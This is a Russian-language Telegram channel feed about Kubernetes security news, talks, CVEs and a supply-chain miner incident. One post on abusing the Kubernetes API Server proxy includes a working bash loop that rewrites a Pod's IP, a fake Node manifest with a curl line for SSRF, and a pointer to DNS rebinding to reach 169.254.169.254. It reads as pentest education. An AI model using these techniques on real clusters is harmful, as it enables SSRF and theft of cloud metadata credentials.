Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений. Ведет команда www.luntry.ru Вопросы, идеи, предложения => @Qu3b3c https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Инженеры из Cilium
опубликовали книгу Kubernetes Network Policies Done the Right Way
.
Из этой книги вы узнаете:
- Что такое NetworkPolicy
, какова их роль в обеспечении безопасности workloads, и как преодолеть проблемы с их внедрением
- Про разные подходы к использованию сетевых политик, управление ими, и их конфигурацию
- Про принятие принципа Zero Trust
, использование Hubble
для повышение observability
Экземпляр книги прикладываем во вложении к посту.
Вышла очередная статья из цикла Kubernetes security fundamentals
от Rory McCune, на этот раз про Networking.
В начале автор рассказывает про так называемые Network trust zones
, а потом представляет CNI
, сетевые политики и способы управления ими.
В конце, автор приводит манифест для поднятия демо-стенда.
Напоминаем, что идет прием заявок на доклады на конференцию БеКон 2025!
Если мы на предыдущие конференции только приглашали докладчиков из наших клиентов, друзей и партнеров, на конкретные темы, то сейчас появляется возможность предложить свою тему самостоятельно ;)
Требования к заявке:
- Продолжительность доклада — не более 25 минут
- Тема по безопасности контейнеров и Kubernetes
- Выступление рассчитано на технических специалистов
- Доклад актуален и основан на личном опыте
- Доклад ранее нигде не был представлен
- Доклад глубоко раскрывает тему и имеет практическое применение
Заявки принимаются до 31 марта! Сама конференция будет в начале июня.
13 февраля на ТБ Форуме пройдет доклад Анатолия Карпенко, инженера по автоматизации Luntry, на тему “Основы анализа СЗИ в контейнерном исполнении с помощью Luntry”.
За достаточно небольшой временной интервал мы с вами пройдем путь от полного неведения о попавшем нам в руки для анализа СЗИ в контейнерном исполнении, до полного понимания, что это за средство, как оно устроено и насколько все хорошо у него с безопасностью.
В рамках доклада:
- Узнаем, как можно быстро понять исследуемое приложение с точки зрения его компонентов и активности;
- Разберемся, на какие аспекты образов контейнеров стоит обращаться внимание с точки зрения информационной безопасности;
- Поднявшись на уровень выше, углубимся в свойства безопасности на уровне контейнеров и YAML
файлов, описывающих их в Kubernetes
.
- На каждом этапе остановимся на рекомендациях по исправлению и улучшению уровня безопасности контейнерного приложения.
Замечательная статья "Runtime Security and the Role of eBPF/BPF-LSM", которая достаточно понятно объясняет как работает настоящий prevention
(предотвращение) в Linux
с помощью eBPF
.
В качестве подопытных рассматриваются Falco
, Tetragon
и KubeArmor
- все с разными подходами к реализации. Первые два не дают никакого предотвращения, а только реагирование. Falco
из user space
отправляет kill
сигнал, а tetragon
из kernel space
отправляет bpf_send_signal()
. Это характерно не только им, но и всем реализациям, которые опираются не на Linux Security Modules (LSM)
. И если вам рассказывают/заявляют обратное, то вам попросту врут.
У нас в Luntry есть функциональность для обнаружения, реагирование со сбором артефактов, предотвращения на базе AppArmor
(он опирается на LSM
) и уже на подходе собственная реализация предотвращения на базе eBPF-LSM
.
Более детально мы сравнивали различные security runtime
-решения в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".
На Хабре вышла наша статья "Безопасность Kubernetes-кластеров: вредные советы или bullshit bingo", которая по сути является текстовым представлением нашего выступления с DevOpsConf 2024
. В общем, для тех кому ближе текст, а не видео. И как всегда задавайте любые вопросы в комментариях!
Начнем эту неделю со статьи "Reproducing CVE-2024-9042: Command Injection in Windows Kubernetes Nodes" про CVE-2024-9042, которая описывается вендором: Command Injection affecting Windows nodes via nodes/*/logs/query API. Ключевые моменты:
- Только Windows
- Должен быть включен NodeLogQuery feature gate
(по умолчанию сейчас выключен и эту ручку упоминали тут)
- pattern
параметр этой фичи напрямую передается в Powershell
без фильтрации
- command injection
любым пользователем и service account
с правами GET
на nodes/logs
- Позволяет выполнять команды на всех Windows
нодах от NTAuthority\system
Вот как-то само собой так получается, что когда мы рассказываем [1,2] про Kubernetes
в Windows
мире, это обязательно про какие-то баги. И при этом эти баги не проходные, а которые действительно могут быть очень полезны атакующему.
P.S. Кто-нибудь Kubernetes
кластера на Windows
держит или игрался с ними?
Сегодня мы вам рекомендуем изучить статью "Building Container Images FROM Scratch: 6 Pitfalls That Are Often Overlooked" (Иван продолжай в том же духе ;)). Название говорит само за себя. Все с наглядными примерами проблем и их решениями.
Читать полностью…Простая и понятная визуализация на тему как выбрать соответствующий Distroless
образ от Google
для вашего приложения.
О том что distroless
бывают разные мы писали тут. И не забываем что там не все идеально - об этом писали тут ;)
Ну и вообще не только Google
такое делает. И вообще можно это делать своими руками.
Стали доступны записи выступлений с KubeCon + CloudNativeCon India 2024. Полный плейлист можно найти тут (это под 100 видео). Отдельно отметим доклады:
- A Deep Dive Into the Current Runtime Security Landscape
- Tutorial: Flatcar Container Linux Deep Dive: Deploying, Managing, and Automating Workloads Securely
- Enhance Kubernetes Security with the Common Expression Language (CEL)
Наша команда Luntry поздравляет всех читателей канала с наступающим 2025
! Желаем всем счастья, здоровья в новом году и чтобы Kubernetes
для вас стал не очередной головной болью, а их решением на пути к безопасной инфраструктуре и безопасным приложениям! А мы с командой вам также поможем на этом пути ;)
На следующий год мы запланировали много всего очень интересно и полезного. Что-то мы готовили весь этот год и готовы представить в следующем, что-то сделаем впервые и о чем нас давно просили =)
Мы в большом предвкушении показать как наши новые фичи, так и новые исследования! Тут будут и истории про 0day
и 1day
в Kubernetes
и популярных Cloud Native
решения (пока ждем патчей - в новом году обновляться придется часто).
Всем хорошо встретить праздники и набраться сил ;)
Подведем итоги года данного канала в цифрах.
Большое спасибо всем читателям, всему сообществу за вашу активность!
P.S. Цифры прошлых лет можно посмотреть тут и тут.
Неплохая серия статей с замерами по теме сравнения и выбора Service Mesh
(Istio
, Linkerd
, Cilium
):
- Service Meshes Decoded Part One: A performance comparison of Istio vs Linkerd vs Cilium
- Service Meshes Decoded Part Two: Is Istio Ambient worth it?
Сегодня хотим познакомить вас с одним необычным проектом с идеей о которой я думаю так или иначе задумывались многие ;)
Проект Kine это etcdshim
, который транслирует etcd API
к:
- SQLite
- Postgres
- MySQL/MariaDB
- NATS
Тут же вспоминается недавняя статья "65,000 nodes and counting: Google Kubernetes Engine is ready for trillion-parameter AI models" в которой рассказывалось, что для достижения таких умопомрачительных показателей (одним из изменений) было решено отказаться от etcd
в пользу Spanner
.
Давайте в комментариях накидаем мнений ЗА и ПРОТИВ подобной идеи.
P.S. Наверное предновогоднее настроение сказывается и тянет на что-то необычное, странное, сказочное наподобие такого)
Сегодня хотим отдельно рассказать про доклад, который мы вскользь упоминали в начале года – "I'll Let Myself In: Kubernetes Privilege Escalation Tactics" от Iain Smart & Andrew Martin
. Авторы, уже рассказывали его на нескольких конференциях, последний раз на Kubernetes Community Days UK
.
В докладе авторы делятся способами повышения привилегий в Kubernetes
кластерах, что будет полезным если вы делаете пентесты. Также не забывают и про постэксплуатацию.
На примере разбирается демо с Argo CD
и побегом из контейнера в CI/CD
.
В одном из своих прошлых постов мы уже упоминали доклад "Commencement into Real Kubernetes Security" от Jay Beale и Mark Manning с конференции ShmooCon 2025 и там делали акцент на релизе инструмента Seccomp-Diff. А сегодня хочется сделать акцент на самом докладе, потому что он просто великолепный и мысли авторов во многих моментах совпадают с нашими (которые мы рассказываем в наших выступлениях). Приятно что у мировых звезд индустрии такой же взгляд ;)
И так:
- Видео выступления
- Слайды выступления
- Демо из выступления (Взлом CIS
соответствующего кластера без CVE
- для многих это идеал)
И в шапке поста несколько шедевральных слайдов, там таких много, поэтому презентация MUST SEE! На самом деле прям хочется сделать отдельный стрим с разбором данной преза - настолько там много всего хорошего)
Занимательный материал "Migrating from Istio to Linkerd". Ранее подобного не встречал, а при этом последние наверное полгода - год вопросы про Linkerd
от друзей и клиентов мы получаем. Так что эта статья будет как раз в тему. При этом там и про механизмы безопасности не забыли в разделе "Migrating authorization policy".
А как у вас отношение к Linkerd
?)
Благодаря посту выше мы вышли на статью "The (Anti-)EDR Compendium" и решили сами обдумать действительно насколько это схоже с тем, что можно наблюдать в контейнерном мире, в Kubernetes
при работе runtime security
решений агентской природы (то, что ставится на Node
и мониторит происходящее там).
Основные моменты, которые хотелось бы подсветить:
1) Чем больше детектирующей логики на агенте/сенсоре, тем больше влияние на производительность и вообще возможность обработать большой поток сообщений (упираемся в лимиты и дропы). В контейнерном Мире все ухудшается тем, что там в большинстве своем высоконагруженные приложения и они генерируют большое количество событий, не под стать пользовательской машине. На пример мы встречали кейсы, где порождалось по 100тыщ
процессов в секунду (и это явно не предел, а с сетевыми может быть и еще хуже ситуация)! И чем больше там правил, тем больше времени и ресурсов надо чтобы это разобрать.
2) Сложные анализы на агенте/сенсоре — это всегда большие оверхеды. В разделе "Performance Impact" рассматривается ситуация сканирование памяти и файлом антивирусным движком. Как я думаю вы уже догадались это дорого! И это очень плохо влияет на систему контейнеризации (привет overlayfs
) и об этом и говорит документация docker
. Иначе это приведет к сбоям в работе контейнерных приложений.
Есть еще много общего и это мы рассматривали в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".
Проект Notary
(еще один проект, помимо Cosign
, для подписи и верификации артефактов) прошел второй security audit
.
Аудиторы из Quarks Lab
в своем отчете отразили 11 findings
, 2 из которых уже присвоили CVE
:CVE-2024-56138: Time stamp signature generation lacks certificate revocation check
CVE-2024-51491: Process crash during CRL-based revocation check on OS using separate mount point for temp Directory
Краткую выжимку всех находок можно почитать в блоге Quarks Lab
тут, а полный отчет в репозитории Notary
тут.
Неприятная история случилась с Kong Ingress Controller
в конце прошлого года – в прод попал образ, содержащий в себе майнер XMRig
. Таймлайн происходящего был таков:
1) 28 августа 2024 года разработчики из Kong
исправляют свои пайплайны меняя pull_request
на pull_request_target
2) 25 ноября 2024 года они получают анонимный отчет от исследователя безопасности о том, что их репозиторий подвержен атаке Pwn request. После этого мейнтейнеры провели ротацию всех секретов в репозитории и вернули триггерное событие обратно на pull_request
. Но только для главной ветки. Так что старые неиспользуемые ветки продолжили использовать pull_request_target
, а значит были уязвимы.
3) Спустя почти два месяца, а именно 23 декабря 2024 года атакующие начали разведку – они получили доступ к секретам, в том числе к персональному токену доступа GitHub
, проэксплуатировав уязвимость в одном из репозиториев.
4) Примерно через 22 часа – 24 декабря злоумышленники перешли на основной репозиторий с полученным на предудыщем шаге access token
. Они запушили образ docker.io/kong/kubernetes-ingress-controller
на Dockerhub
с тегом 3.4
.
5) 29 декабря 2024 года 4 пользователя отметили в issue
на GitHub
, что запуск Kong Ingress Controller
приводит к аномально высокой нагрузке на ЦП.
6) 2 января 2025 мейнтейнеры подтвердили, что образ был скомпрометирован, а вунтри него содержался XMRig
.
Более подробно о всей ситуации можно почитать в блоге KIC
тут. Также было опубликовано YARA правило для обнаружения таких нагрузок.
Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes
, а именно – рассмотрим механизм Proxy
в Kubernetes API Server
.
Наверняка вы знаете, что Kubernetes API Server
может выступать в качестве HTTP
-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy
) получить доступ к Nodes
или Pods
.
Очевидно, что kubectl proxy
позволяет по сути экспулатировать SSRF
, поэтому рассмотрим несколько интересных способов использования этой функциональности:1) Проксирование на адреса вне кластера
Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP
адрес в поле status
в манифесте Pod
, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes
распознает это изменение как ошибку и изменяет значение на действительный IP
-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:
#!/bin/bash
set -euo pipefail
readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1
while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"
cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"
curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"
rm -f "${POD}-orig.json" "${POD}-patched.json"
done
2) SSRF через Fake Node
Nodes
, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:
kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname
curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/
3) CVE-2020-8562 – Обход blacklist
TOCTOU
, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254
. Прибегнув к известной технике для эксплуатации SSRF
– DNS rebinding
можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.kubectl proxy
рассказал Rory McCune
в своей статье "Exploring the Kubernetes API Server Proxy".
Читать полностью…
Вышло очередное новое видео из серии Kubernetes Security Fundamentals
от Rory McCune
. Это видео про Authentication
, а вернее о том как работает аутентификация учетных записей сервисов в Kubernetes
. Видео доступно по ссылке тут.
Первая конференция в 2025-ом году, которая зацепила наше внимание – ShmooCon 2025
. Там было много интересных докладов, в том числе там был доклад и про Kubernetes Security
– "A Commencement into Real Kubernetes Security (Jay Beale and Mark Manning)".
В докладе авторы рассказывают много чего интересного – затрагивают проблемы system call filtering system
, приводящие к TOCTOU
, говорят про инструменты для генерации и управления seccomp
профилями в Kubernetes, показывают демо работы с инструментами peirates
и KubeHound
(1, 2).
Также в докладе был упомянут новый инструмент Seccomp-Diff, который может сравнивать Seccomp
профили двух контейнеров и подсвечивать наиболее опасные системные вызовы. Может работать как CLI
, так и через веб-приложение.
Сегодня вновь затронем тему eBPF
, а точнее observability
зашифрованного трафика с помощью этой технологии – статья "What Insights Can eBPF Provide into Real-Time SSL/TLS Encrypted Traffic and How?" как раз об этом.
Автор рассматривает две функции – SSL_write()
для записи данный (используется для перехвата данных, записанных клиентом, но еще не зашифрованных) и SSL_read()
для чтения данных из SSL
соединения. Эта функция позволяет перехватить расшифрованные данные, а также разобрать код ответа.
Самое интересное, что даже не нужны сертификаты TLS/SSL
для расшифровки или шифрования трафика. Это позволяет наблюдать за протоколом приложения как до шифрования, так и после расшифровки.
Если говорить про перформанс, то такой способ даёт оверхед, хоть и всего 0.2 мкс. Кроме того, средняя нагрузка на процессор, создаваемая каждым хуком, выглядит следующим образом: 0,1% для uprobe/SSL_write*
, 0,007% для uprobe/SSL_read*
и 0,3% для uretprobe/SSL_read
. Замеры проводились на 1000 запросах для каждого HTTP
метода.
Когда-то мы рассказывали на канале о таком ресурсе как HackTricks
. Там был раздел, посвященный Kubernetes Security
, однако потом он переехал на отдельный ресурс HackTricks Cloud.
Сегодня мы хотим поделиться AI Assistant
от создателя этих ресурсов – HackTricks Assistant. По сути это чат-бот, который натренирован на информации с HackTricks. В том числе, по Kubernetes Security
.
Однако, по правде сказать – ничего особенного, этакая замена привычному поиску по сайту.
Сегодня хочется познакомить вас с еще одним обучающим проектом в котором есть немного теории и практики по безопасности Kubernetes
.
Это проект Damn Vulnerable Kubernetes Application (DVKA). В нем есть 2
задания:
- Hack The NFT Museum
- Enterprise Grade Network Debugging Console
Развернуть их можно на Minikube
или Kind
. И это напоминает проект Kubernetes Goat
о котором мы уже рассказывали.
Также тут есть теория "Kubernetes Security Workshop: Hands-On Attack and Defense" со слайдами, и полезными ссылками, и последовательностями команд.
Самое то что можно развернуть на праздниках и поучиться ;)
Подводим итоги нашего новогоднего конкурса! Спасибо большое всем участникам - было здорово получить столько вариантов! Большего всего нам понравились поздравления от:
- @KorvinStromji
- @ultramaxim
Команда Luntry поздравляет победителей =)
P.S. В ближайшее время свяжемся с победителями насчет передачи подарков.
В начале года мы рассказывали про IMDSv2
в AWS
облаке и то от чего может защитить этот механизим. Сегодня делимся неплохой статьей, попавшей к нам в руки – From Detection to Enforcement: Migrating from IMDSv1 to IMDSv2.
В статье авторы рассматривают шаги, связанные с внедрением IMDSv2
, и проблемы с которыми можно столкнуться при переходе с IMDSv1
. Переход от IMDSv1
к IMDSv2
может быть сложным процессом, особенно в больших распределенных средах, где может быть трудно получить информацию об использовании IMDSv1
во всех экземплярах EC2
. Процесс миграции можно упростить, разбив его на ключевые этапы: идентификация, атрибуция, миграция и внедрение, хотя и здесь есть свои сложности.
Чтобы вам на новогодних праздниках было не скучно - мы залили к нам на сайт видео двух наших выступлений:
1) "Латаем огрехи в образах приложений до рантайма, во время и после" c DevOops 2024
2) "Готовим контейнеры полезно и вкусно" c SafeCode 2024
Теперь в нашем разделе Исследований есть абсолютно все что мы презентовали в этом году! А это более 15
технических докладов и воркшопов за 2024
год по теме безопасности контейнеров и Kubernetes
!
Хорошая статья "Evolution of pod’s privilege in EKS", демонстрирующая эволюцию механизмов предоставления прав Pods
в Kubernetes
в облачном провайдере на примере EKS
. Достаточно подробно рассматривается путь:
1) Host role
(...-2017)
2) Proxy roles
(2017–2019)
3) IRSA
(2019–2023)
4) Pod Identity
(2023-...)